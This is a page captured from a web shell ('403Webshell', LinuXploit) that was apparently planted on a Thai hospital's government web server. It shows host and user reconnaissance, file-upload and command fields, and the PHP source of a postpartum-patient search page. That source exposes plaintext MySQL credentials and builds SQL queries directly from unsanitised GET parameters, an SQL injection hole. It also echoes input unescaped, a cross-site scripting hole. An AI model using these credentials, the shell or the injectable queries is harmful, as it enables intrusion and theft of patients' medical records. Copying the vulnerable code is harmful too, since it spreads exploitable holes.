403Webshell
Server IP : 104.21.73.108  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/HHC/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/HHC//new_sec.php
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>--ระบบบันทึกข้อมูลมารดาหลังคลอด โรงพยาบาลป่าพะยอม จังหวัดพัทลุง---</title>
</head>
<body>
<form name="frmSearch" method="get" action="<?php echo $_SERVER['SCRIPT_NAME'];?>">
  <table width="1337" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <th><table width="635" border="1" align="center">
	  <tr>
            <td><div align="right">ปี:</div></td>
            <td><input name="txtKeyword8" type="text" id="txtKeyword8" value="<?php echo $_GET["txtKeyword8"];?>">ต.ย. 2017 หรือ 01/2017 หรือ 01/01/2017</td>
          </tr>
	  <tr>
            <td><div align="right">รหัส:</div></td>
            <td><input name="txtKeyword1" type="text" id="txtKeyword1" value="<?php echo $_GET["txtKeyword1"];?>"></td>
          </tr>
          <tr>
            <td><div align="right">HN:</div></td>
            <td><input name="txtKeyword2" type="text" id="txtKeyword2" value="<?php echo $_GET["txtKeyword2"];?>"></td>
          </tr>
		  <tr>
            <td><div align="right">ชื่อ-สกุล:</div></td>
            <td><input name="txtKeyword7" type="text" id="txtKeyword7" value="<?php echo $_GET["txtKeyword7"];?>"></td>
          </tr>
		  <tr>
            <td><div align="right">วัน/เดือน/ปีคลอด:</div></td>
            <td><input name="txtKeyword3" type="text" id="txtKeyword3" value="<?php echo $_GET["txtKeyword3"];?>"></td>
          </tr>
		   <tr>
            <td><div align="right">วัน/เดือน/ปีนัดตรวจ:</div></td>
            <td><input name="txtKeyword4" type="text" id="txtKeyword4" value="<?php echo $_GET["txtKeyword4"];?>"></td>
          </tr>

          <tr>
            <td><div align="right">ผู้รับผิดชอบ:</div></td>
            <td><select name="txtKeyword5" id="txtKeyword5">
              <option value="">เลือกรพ.สต. ที่รับผิดชอบ</option>
              <option value="บ้านบ่อทราย">รพ.สต.บ้านบ่อทราย</option>
              <option value="บ้านตลิ่งชัน">รพ.สต.บ้านตลิ่งชัน</option>
              <option value="บ้านคลองใหญ่">รพ.สต.บ้านคลองใหญ่</option>
              <option value="บ้านปากเหมือง">รพ.สต.บ้านปากเหมือง</option>
			  <option value="ลานข่อย">รพ.สต.ในนิคมฯบ้านลานข่อย</option>
              <option value="บ้านทุ่งชุมพล">รพ.สต.บ้านทุ่งชุมพล</option>
            </select></td>
          </tr>
		  
    <td><div align="right">ผู้รายงาน:</div></td>
           <td><input name="txtKeyword6" type="text" id="txtKeyword6" value="<?php echo $_GET["txtKeyword6"];?>"></td>
          
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td><input name="submit" type="submit" value="ค้นหา"></td>
          </tr>
        </table>        <p><br/>
      </p></th>
    </tr>
  </table>
  <?php
if($_GET["txtKeyword1"] != "" or $_GET["txtKeyword2"] != "" or $_GET["txtKeyword3"] != "" or $_GET["txtKeyword4"] != "" or $_GET["txtKeyword5"] != "" or $_GET["txtKeyword6"] != "" or $_GET["txtKeyword7"] != "" or $_GET["txtKeyword8"] != "")
	{
		require('mysql_adapter_by_pathosting.php');
	$objConnect = @mysql_connect("localhost","paphayomho_root","Payom11422") or die("Error Connect to Database");
	$objDB = mysql_select_db("paphayomho_DB");
	mysql_query("SET names UTF8");
	mysql_query("set character set utf8");
	mysql_query("SET character_set_results=utf8");
	mysql_query("SET character_set_client=utf8");
	mysql_query("SET character_set_connection=utf8");
	// Search By Name or Email
	$strSQL = "SELECT * FROM members   WHERE (members.HC_3 LIKE '%".$_GET["txtKeyword1"]."%' and members.HN LIKE '%".$_GET["txtKeyword2"]."%' and members.date_of_birth LIKE '%".$_GET["txtKeyword3"]."%' and members.voters_id LIKE '%".$_GET["txtKeyword4"]."%' and members.hos LIKE '%".$_GET["txtKeyword5"]."%' and members.hos31 LIKE '%".$_GET["txtKeyword6"]."%' and members.surname LIKE '%".$_GET["txtKeyword7"]."%'and members.date_of_birth LIKE '%".$_GET["txtKeyword8"]."%') ORDER BY member_id DESC";
	
	/*$strSQL = "SELECT * FROM members  WHERE (members.HC_3 LIKE '%".$_GET["txtKeyword1"]."%' and members.HN LIKE '%".$_GET["txtKeyword2"]."%' and members. LIKE '%".$_GET["txtKeyword3"]."%' and members. LIKE '%".$_GET["txtKeyword4"]."%' and members.hos LIKE '%".$_GET["txtKeyword5"]."%' and members.hos31 LIKE '%".$_GET["txtKeyword6"]."%' and members.surname '%".$_GET["txtKeyword7"]."%' ) ";*/
	$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
	$Num_Rows = mysql_num_rows($objQuery);


	$Per_Page = 2;   // Per Page

	$Page = $_GET["Page"];
	if(!$_GET["Page"])
	{
		$Page=1;
	}

	$Prev_Page = $Page-1;
	$Next_Page = $Page+1;

	$Page_Start = (($Per_Page*$Page)-$Per_Page);
	if($Num_Rows<=$Per_Page)
	{
		$Num_Pages =1;
	}
	else if(($Num_Rows % $Per_Page)==0)
	{
		$Num_Pages =($Num_Rows/$Per_Page) ;
	}
	else
	{
		$Num_Pages =($Num_Rows/$Per_Page)+1;
		$Num_Pages = (int)$Num_Pages;
	}


	//$strSQL .=" order  by student.studentID ASC LIMIT $Page_Start , $Per_Page";
	$objQuery  = mysql_query($strSQL);

	?>
</form>
<table width="1030" border="1" align="center">
	  <tr>
	    <th colspan="8" bgcolor="#CCCCCC">จำนวนข้อมูลทั้งหมด: <?php echo $Num_Rows;?> เรื่อง</th>
      </tr>
	  <tr>
		<th width="30"> <div align="center">รหัสการเยี่ยม </div></th>
		<th width="80"> <div align="center">HN/AN</div></th>
		<th width="121"> <div align="center">ชื่อ-สกุล</div></th>
		<th width="80"> <div align="center">วันที่คลอด </div></th>
		<th width="80"> <div align="center">วันนัดตรวจ </div></th>
		<th width="80"> <div align="center">ผู้รับผิดชอบ </div></th>
		<th width="30"> <div align="center">สถานะ </div></th>
		<th width="68"> <div align="center">จัดการข้อมูล </div></th>
	  </tr>
	  
	<?php
	while($objResult = @mysql_fetch_array($objQuery))
	{
	$id = $objResult['member_id'];	
	?>
	  <tr>
		<td><div align="left"><?php echo $objResult["HC_3"];?></div></td>
		<td><div align="center"><?php echo $objResult["HN"];?></div></td>
	<td><div align="left"><?php echo $objResult["surname"];?></div></td>
		<td align="center"><?php echo $objResult["date_of_birth"];?></td>
		<td align="center"><?php echo $objResult["voters_id"];?></td>
		<td><div align="left"><?php echo $objResult["hos"];?></div></td>
		<td><div align="center"><?php if($objResult['hos31'] != '') {
    echo '<div style="color:blue">ตอบแล้ว</div>'; 
}
else{ 
   echo '<div style="color:red">ยังไม่ตอบ</div>';
}    ?></td>
		
		<td> <div align="center">
		<a data-placement="left" title="Click to Edit" id="edit<?php echo $id; ?>" href="edit_member.php<?php echo '?id='.$id; ?>" class="btn btn-success"><i class="icon-pencil icon-large"></i> ตอบกลับ</a>
			<script type="text/javascript">
			$(document).ready(function(){
				$('#edit<?php echo $id; ?>').tooltip('show');
				$('#edit<?php echo $id; ?>').tooltip('hide');
			});
			</script>
		<a data-placement="top" title="Click to View all Details" id="view<?php echo $id; ?>" href="view_member.php<?php echo '?id='.$id; ?>" class="btn btn-warning"><i class="icon-search icon-large"></i> ดู</a>
			<script type="text/javascript">
			$(document).ready(function(){
				$('#view<?php echo $id; ?>').tooltip('show');
				$('#view<?php echo $id; ?>').tooltip('hide');
			});
			</script></td>
	  </tr>
	<?php
	}
	?>
</table>
	<p><br>
<div align="center"> 
	  Record: <?php echo $Num_Pages;?> Page :
	  <?php
	if($Prev_Page)
	{
		echo " <a href='$_SERVER[SCRIPT_NAME]?Page=$Prev_Page&txtKeyword=$_GET[txtKeyword]&txtKeyword1=$_GET[txtKeyword1]&txtKeyword2=$_GET[txtKeyword2]&txtKeyword3=$_GET[txtKeyword3]&txtKeyword4=$_GET[txtKeyword4]&txtKeyword5=$_GET[txtKeyword]&txtKeyword6=$_GET[txtKeyword6]&txtKeyword7=$_GET[txtKeyword7]&txtKeyword8=$_GET[txtKeyword8]'><< Back</a> ";
	}

	for($i=1; $i<=$Num_Pages; $i++){
		if($i != $Page)
		{
			echo "[ <a href='$_SERVER[SCRIPT_NAME]?Page=$i&txtKeyword=$_GET[txtKeyword]&txtKeyword1=$_GET[txtKeyword1]&txtKeyword2=$_GET[txtKeyword2]&txtKeyword3=$_GET[txtKeyword3]&txtKeyword4=$_GET[txtKeyword4]&txtKeyword5=$_GET[txtKeyword5]&txtKeyword6=$_GET[txtKeyword6]&txtKeyword7=$_GET[txtKeyword7]&txtKeyword8=$_GET[txtKeyword8]'>$i</a> ]";
		}
		else
		{
			echo "<b> $i </b>";
		}
	}
	if($Page!=$Num_Pages)
	{
		echo " <a href ='$_SERVER[SCRIPT_NAME]?Page=$Next_Page&txtKeyword=$_GET[txtKeyword]&txtKeyword1=$_GET[txtKeyword1]&txtKeyword2=$_GET[txtKeyword2]&txtKeyword3=$_GET[txtKeyword3]&txtKeyword4=$_GET[txtKeyword4]&txtKeyword5=$_GET[txtKeyword5]&txtKeyword6=$_GET[txtKeyword6]&txtKeyword7=$_GET[txtKeyword7]&txtKeyword8=$_GET[txtKeyword8]'>Next>></a> ";
	}
	
	mysql_close($objConnect);

	}	
	?>
</p>
	<p>&lt;&lt;<a href="new_sec.php">กลับสู่หน้าหลัก</a>&gt;&gt;</p>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit